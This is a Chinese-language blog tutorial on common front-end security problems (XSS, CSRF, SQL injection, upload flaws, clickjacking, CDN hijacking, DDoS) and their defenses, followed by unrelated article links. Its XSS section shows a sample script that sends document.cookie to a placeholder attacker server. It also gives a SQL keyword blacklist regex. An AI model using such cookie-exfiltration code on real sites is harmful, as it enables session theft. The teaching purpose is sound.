常见的前端安全问题(xss / csrf / sql / ddos / cdn...)

news2025/7/19 16:52:25

目录

1. xss(Cross Site Scripting)跨站脚本攻击

1.1 持久型(存储型)攻击 / 非持久型(反射型)攻击 是什么?

1.2 xss 出现的场景?造成的危害?

1.3 防御 xss(转义输出、内容安全策略、限制 https 请求)

1.4 为什么要使用 https,不用 http?http 头部注入攻击是什么?

2. CSRF(Cross Site Request Forgery)跨站请求伪造

2.1 什么是跨站请求伪造?

2.2 CSRF 出现的场景?造成的危害?

2.3 防御 CSRF(校验 token、跨域资源共享限制等)

3. SQL脚本注入(SQL Injection)

4. 上传漏洞

5. 点击劫持

5.1 什么是点击劫持?有什么危害?

5.2 防御点击劫持(X-FRAME-OPTIONS、sandbox、JavaScript 防御)

5.2.1 X-FRAME-OPTIONS

5.2.2 iframe 的安全属性 sandbox

5.2.3 JavaScript 防御

6. CDN 资源劫持

7. 错误(报错)消息处理

8. DDoS 攻击


所有发生在 浏览器、单页面应用、Web页面 当中的安全问题,都算是“前端安全问题”,需要前端开发人员去修复。

1. xss(Cross Site Scripting)跨站脚本攻击

1.1 持久型(存储型)攻击 / 非持久型(反射型)攻击 是什么?

攻击者将可执行的代码,注入到浏览器页面中,并被浏览器执行

xss 可以分为以下两种类型:

  • 持久型(存储型)攻击
  • 非持久型(反射型)攻击

持久型(存储型)攻击 —— 攻击者通过普通用户登录的账号,给服务器发送请求,将具有攻击性的代码保存到了数据库中,其他用户再次请求当前页面时,进行攻击。最常发生 xss 漏洞的地方就是具有 评论功能 的页面

非持久型(反射型)攻击 —— 通过修改 URL 参数的方式,加入攻击代码,诱导用户访问链接,从而进行攻击,危害比持久型攻击要小

1.2 xss 出现的场景?造成的危害?

出现场景:

  • 页面中所有的 input, a, img, script 标签
  • window.location(href、hash等)
  • window.name // 跨域传送数据 、执行任意长度 javascript 代码
  • document.referrer // 保存着链接到当前页面的那个页面的 URL
  • document.cookie
  • localstorage —— 本地存储信息必须加密
  • XMLHttpRequest 返回的数据

<script>
  // 目标页面存在着 window.name
  // 诱导用户点击当前页面,从而将用户信息发送到攻击者手中
  window.name = `alert(${document.cookie})`;
  // 将目标网站的数据发送到 攻击者服务器
  location.href = `http://xxx:4000/public/xss-gongji.html?name=${name}`
</script>

造成危害:

  • 控制受害者机器,向其他网站发起攻击
  • 窃取用户 cookies,获取用户隐私信息,例如用户的浏览历史、真实IP、开放端口等
  • 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • 传播跨站脚本,蠕虫等

1.3 防御 xss(转义输出、内容安全策略、限制 https 请求)

可以从 输入/输出 两个角度考虑:

  • 验证所有输入数据,检测是否具有攻击代码
  • 对所有输出数据进行编码,防止恶意代码在浏览器执行

 

举个栗子~

利用 转义字符(一般会转(&、<、>、"、'、/)这6个字符),对输出数据进行编码

将 <script></script> 标签,存储为 &lt;script&gt&lt;/script&gt,浏览器就无法运行了

Vue/Angular 官方文档中,增加了一些提示,用于防止攻击 

安全 | Vue.jsVue.js - 渐进式的 JavaScript 框架https://cn.vuejs.org/guide/best-practices/security.html#potential-dangers https://angular.cn/guide/securityhttps://angular.cn/guide/security

还可以考虑 CSP(内容安全策略)—— 添加了内容安全策略的浏览器,仅会执行从 白名单域 获取到的脚本文件,忽略其他所有脚本(包括内联脚本、HTML的事件处理属性)

内容安全策略 ( CSP ) - HTTP | MDN内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS (en-US)) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

还可以指定加载脚本的协议,比如只允许访问 https 的脚本,如下所示:

// connect-src https —— 只允许http是的请求
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

如果不指定脚本协议,则 http 请求,可以正常执行

如果指定了脚本协议,则 http 请求,无法正常执行,会报错

1.4 为什么要使用 https,不用 http?http 头部注入攻击是什么?

为什么要使用 https,不用 http?

  • 通信使用明文(不加密),内容可能会被窃听
  • 不验证通信方的身份,可能遭遇伪装
  • 无法证明报文的完整性,所以有可能已遭篡改

关于 http 头部注入攻击(HTTP Header Injection):

攻击者通过在响应头部字段内插入换行,添加任意响应头部或主体的一种攻击,Web 应用有时会把从外部接收到的值,赋给响应头部字段 Location 和 Set-Cookie

http 头部注入攻击的危害:

  • 设置任何 Cookie 信息
  • 重定向至任意URL
  • 显示任意的主体(HTTP响应截断攻击)

2. CSRF(Cross Site Request Forgery)跨站请求伪造

2.1 什么是跨站请求伪造?

举个栗子~

  • 用户登录网站A,输入个人信息,在本地保存服务器生成的 cookie;
  • 用户在A网站,不慎点击了由攻击者构建一条恶意链接,跳转到B网站;
  • B网站携带着的用户 cookie 信息去访问A网站,给A网站造成是用户自己访问的假相,从而进行非法操作,比如转账;

2.2 CSRF 出现的场景?造成的危害?

出现场景:

  • 网站使用 Cookie 验证用户
  • 用户没有登出网站
  • 网站没有做任何 CSRF 防御

造成危害:简而言之,就是冒充用户,做违背用户自身意愿的事

2.3 防御 CSRF(校验 token、跨域资源共享限制等)

请求时附带验证信息,比如 验证码、Token(带过期时间) 

 

跨域资源共享(CORS),大多数情况下,为了省事,都配置为 *,存在安全隐患

其他方式,不举例子了:

  • Get 请求不对数据进行修改
  • 阻止第三方网站请求接口
  • SameSite,Cookie 的 SameSite 属性用来限制第三方 Cookie,从而减少安全风险
  • 验证 Referer,验证一下发起请求的页面,是不是自家系统

3. SQL脚本注入(SQL Injection)

攻击者将 SQL 插入到 Web 表单提交输入参数、页面请求的查询参数 等位置,导致服务器执行了恶意的SQL

防御方式:

白名单验证 —— 检查用户输入是否是符合预期的类型、长度、数值范围或其他格式标准

黑名单验证 —— 若在用户输入中,包含明显的恶意内容,则拒绝该条用户请求

<script>
  var sQuery = 'select * from 数据表';
  // 正则匹配规则
  var re = /select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>|<|%/i;
  if (re.test(sQuery.toLocaleLowerCase())) {
    alert("请勿输入非法字符");
    // location.href = sUrl.replace(sQuery, "");
  }
</script>

4. 上传漏洞

攻击者上传了一个 可执行文件 到服务器,并成功执行

 

上传漏洞与 SQL脚本注入 或 xss 跨站脚本攻击相比,风险更大:

  • 上传的文件是 Web 脚本语言,服务器的 Web 容器会执行用户上传的脚本
  • 上传的文件是 Flash 策略文件 crossdomain.xml,黑客就能控制 Flash 在该域下的行为
  • 上传的文件是病毒、木马文件,黑客就能诱管理员下载执行
  • 上传的文件是 钓鱼图片 或 包含脚本的图片,在某些版本的浏览器中,会被作为脚本执行,被用于钓鱼和欺诈
  • 上传的文件是 webshell,黑客就能到服务器上完全控制系统,致使系统瘫痪

防御方式:

  • javascript 校验(一般只校验后缀名)
  • 文件头 content-type 字段校验(image/gif)
  • 文件内容头校验(GIF89a)

5. 点击劫持

5.1 什么是点击劫持?有什么危害?

这是一种欺骗性比较强,需要用户高度参与才能完成的一种攻击

攻击步骤:

  • 攻击者构造一个诱导用户点击的内容,如 Web 页面小游戏
  • 被攻击的页面 放入到 iframe 当中
  • 利用 CSS 样式,将这个 iframe 叠加到小游戏正上方,并设为透明度
  • 受害者访问这个页面,看到的是一个小游戏,实际点击的却是 iframe

攻击利用了受害者的用户身份,在其不知情的情况下进行非法操作

5.2 防御点击劫持(X-FRAME-OPTIONS、sandbox、JavaScript 防御)

5.2.1 X-FRAME-OPTIONS

在页面的响应头上,设置页面是否可以在 <frame> 标签中显示

  • DENY:不能被嵌入到任何 iframe
  • SAMEORIGIN:只能被本站页面嵌入到 iframe 中
  • ALLOW-FROM uri:只能被嵌入到指定域名的网站中

给请求资源的地址加上响应头:

测试当前页面是否可以被嵌入其他页面:

微信公众号文章的安全策略:

5.2.2 iframe 的安全属性 sandbox

用 iframe 引入第三方内容存在安全问题,比如嵌入了第三方插件、不安全的脚本等

在 iframe 标签中,添加 sandbox 属性,将开启以下限制:

 

对比一下加不加属性,对加载资源的影响:

 

5.2.3 JavaScript 防御

当通过 iframe 的方式加载页面时,攻击者的网页不再显示内容

<head>
   <style id="click-jack">
     html {
       display: none !important;
     }
   </style>
</head>

<body>
   <script>
     // 判断当前页面是否是在iframe中
     if (self == top) {
       var style = document.getElementById('click-jack');
       document.body.removeChild(style);
     } else {
       top.location = self.location;
     }
   </script>
</body>

 

6. CDN 资源劫持

攻击者劫持了CDN,污染存储在 CDN 中的静态资源,进而通过第三方资源破坏系统

防御方式:使用浏览器提供的 SRI(Subresource Integrity)功能

Subresource 指 HTML页面中,通过 <script> 和 <link> 元素引入的资源文件

每个资源文件都可以有一个 SRI 值,比如下方的 integrity 属性,它由两部分组成:

  • 中划线(-)左侧是生成 SRI 值用到的 哈希算法名
  • 中划线(-)右侧是经过 Base64 编码后的 资源文件的 Hash 值
<script src=“https://example.js” integrity=“sha384-eivAQsRgJIi2KsTdSnfoEGIRTo25NCAqjNJNZalV63WKX3Y51adIzLT4So1pk5tX”></script>

浏览器在处理 script 元素时,会检查 JavaScript 脚本文件的完整性,是否和 script 元素中 integrity 属性指定的 SRI 值一致,如果不匹配,浏览器会中止处理脚本

7. 错误(报错)消息处理

错误(报错)信息包括:

  • Web 应用抛出的错误信息
  • 数据库等系统抛出的错误信息

Web 应用的错误(报错)信息内,包含对攻击者有用的信息(详细的错误消息,有可能给攻击者提示),攻击者利用不同的输入,让网站提示不同错误信息

举个栗子~~~ 登录时若提示手机号未注册,就可以得出 手机号 没在这个网站注册过

所以错误(报错)消息,应该尽可能模糊

8. DDoS 攻击

让运行中的服务呈停止状态的攻击,又名 服务停止攻击、拒绝服务攻击等等;它攻击的对象不仅包括 Web 网站,还包括网络设备、服务器等

DDoS 攻击主要分为两种方式:

  • 利用集中访问请求,造成资源过载,资源用尽的同时,服务就处于停止状态
  • 通过攻击安全漏洞,使服务停止

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/37974.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

three.js之Geometry顶点、颜色数据与三角面

文章目录简介顶点对于代码的解释颜色对于代码的解释三角面专栏目录请点击 简介 Geometry与BufferGeometry表达的含义相同&#xff0c;只是对象的结构不同three.js渲染的时候会先把Geometry转化为BufferGeometry在解析几何体顶点数据进行渲染 顶点 <!DOCTYPE html> <…

基于JavaWeb的药品进销存管理系统(JSP)

目 录 绪论 1 1.1 本课题的研究背景 1 1.2 国内外研究现状 1 1.3 本课题的主要工作 2 1.4 目的和意义 2 开发工具及技术 3 2.1 开发工具 3 2.1.1 MyEclipse 3 2.1.2 Tomcat 3 2.1.3 Mysql 3 2.2 开发技术 4 2.2.1 JSP 4 2.2.2 MyBatis 4 2.2.3 JavaScript 4 2.2.4 jQuery以及j…

机械原理-试题及答案

模拟试题八&#xff08;机械原理A&#xff09; 一、判断题&#xff08;10分&#xff09;[对者画√&#xff0c;错者画 ] 1、对心曲柄滑块机构都具有急回特性。&#xff08; &#xff09; 2、渐开线直齿圆柱齿轮的分度圆与节圆相等。&#xff08; &#xff09; 3、当两直齿圆柱齿…

Spring Cloud OpenFeign - 日志配置

项目源码地址&#xff1a;https://download.csdn.net/download/weixin_42950079/87168704 OpenFeign 有 4 种日志级别&#xff1a; NONE: 不记录任何日志&#xff0c;是OpenFeign默认日志级别&#xff08;性能最佳&#xff0c;适用于生产环境&#xff09;。BASIC: 仅记录请求方…

[附源码]计算机毕业设计JAVA人力资源管理系统论文2022

[附源码]计算机毕业设计JAVA人力资源管理系统论文2022 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM…

QT对象树和菜单操作

前言 可以与MFC框架进行比较&#xff0c;总结彼此的相同点和不同点&#xff0c;在此基础上再去学习其他的界面框架&#xff0c;达到增量学习的境界。 一.对象树 优点&#xff1a;当父对象被析构时&#xff0c;如果子对象没有被析构&#xff0c;QT的对象树机制会去析构它&…

pandas索引操作、赋值操作、排序以及Series排序和DataFrame排序

一、pandas索引操作 索引操作&#xff0c;使用索引选取序列和切片选择数据&#xff0c;也可以直接使用列名、行名称&#xff0c;或组合使用 直接使用行列索引&#xff1a;行列索引名顺序为先列再行&#xff0c;使用指定行列索引名&#xff0c;不能使用下标loc[行索引名&#…

MySQL数据库表空间回收问题

MySQL数据库表空间回收问题1. MySQL表空间回收2. MySQL表空间设置3. MySQL删除数据流程4. MySQL数据页空洞问题1. MySQL表空间回收 我们经常会发现一个问题&#xff0c;就是把表数据删除以后发现&#xff0c;数据文件大小并没有变化&#xff0c;这就是标题中所说的MySQL数据库…

Numpy数组中的维度和轴

维度究竟是行数还是列数&#xff1f; m维行向量&#xff1a;m维表示一行中有m列&#xff0c;由于是行向量&#xff0c;所以是1行m列n维列向量&#xff1a;n维表示一行中有n行&#xff0c;由于是列向量&#xff0c;所以是n行1列m维向量&#xff1a;看书的习惯了&#xff0c;一般…

APS生产计划排产 — 排产结果拉动模具工装需求计划

APS生产计划排产系统&#xff0c;对所有资源具有同步的&#xff0c;实时的&#xff0c;具有约束能力的&#xff0c;模拟能力&#xff0c;不论是物料&#xff0c;机器设备&#xff0c;人员&#xff0c;供应&#xff0c;客户需求&#xff0c;运输等影响计划因素。不论是长期的或短…

【CNN-SVM回归预测】基于CNN-SVM实现数据回归预测附matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

JavaWeb开发之——多表查询(21)

一 概述 多表查询—简介多表查询—内连接&外连接多表查询—子查询 二 多表查询—简介 2.1 概念 多表查询顾名思义就是从多张表中一次性的查询出我们想要的数据。 2.2 SQL数据准备 DROP TABLE IF EXISTS emp; DROP TABLE IF EXISTS dept; # 创建部门表 CREATE TABLE de…

Word2Vec 实践

Word2Vec 实践 gensim库使用 这里的Word2Vec借助 gensim 库实现&#xff0c;首先安装pip install gensim3.8.3 from gensim.models.word2vec import Word2Vecmodel Word2Vec(sentencesNone, size100, alpha0.025, window5, min_count5,max_vocab_sizeNone, sample1e-3, …

【Java第34期】:Bean的六种作用域

作者&#xff1a;有只小猪飞走啦 博客地址&#xff1a;https://blog.csdn.net/m0_62262008?typeblog 内容&#xff1a;介绍Bean的六种作用域的效果以及适用场景 文章目录前言一&#xff0c;作用域定义以及Bean的六种作用域是什么&#xff1f;二&#xff0c;singleton&#x…

深度学习(20):nerf论文翻译与学习

目录 1 Introduction 2 Related Work 3 Neural Radiance Field Scene Representation 4 Volume Rendering with Radiance Fields 5 Optimizing a Neural Radiance Field 5.1 Positional encoding 5.2 Hierarchical volume sampling 5.3 Implementation details 6 Resu…

项目问题参考答案

文章目录项目业务的功能&#xff1a;1 完成部门管理模块&#xff08;大致有药剂部门&#xff0c;诊疗部门、护理部门&#xff0c;后勤部门&#xff09;&#xff0c;2.在药品搜索模块&#xff0c;根据业务的需求&#xff0c;我封装了正则实现了模糊搜索&#xff0c;防抖工具函数…

分享105个NET源码ASP源码,总有一款适合您

分享105个NET源码&#xff0c;总有一款适合您 源码下载链接&#xff1a;https://pan.baidu.com/s/1zFMIHX6juXdR2CaHMEr5mQ?pwdf5hz 提取码&#xff1a;f5hz 下面是文件的名字&#xff0c;我放了一些图片&#xff0c;文章里不是所有的图主要是放不下...&#xff0c;大家下载后…

力扣(LeetCode)81. 搜索旋转排序数组 II(C++)

线性探测二分查找 本题和 力扣(LeetCode)33. 搜索旋转排序数组(C) 的唯一区别是有重复元素&#xff0c;思考我们之前的二分条件&#xff0c;是根据 nums[0]nums[0]nums[0] 和 nums[mid]nums[mid]nums[mid] 判断 midmidmid 哪一端有序&#xff0c;但是现在可能出现 nums[0]nums…

Metabase学习教程:视图-7

创建数据透视表 了解如何使用Metabase中的不同数据库创建透视表。 什么是透视表&#xff1f;数据透视表是一种汇总和分组数据的表格方式。它们是分析师工具箱中的一个有价值的工具&#xff0c;因为它们是展示和重新安排大量信息的有效方法。它们的工作原理如下&#xff1a; …

中华传统文化题材网页设计主题:基于HTML+CSS设计放飞青春梦想网页【学生网页设计作业源码】

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…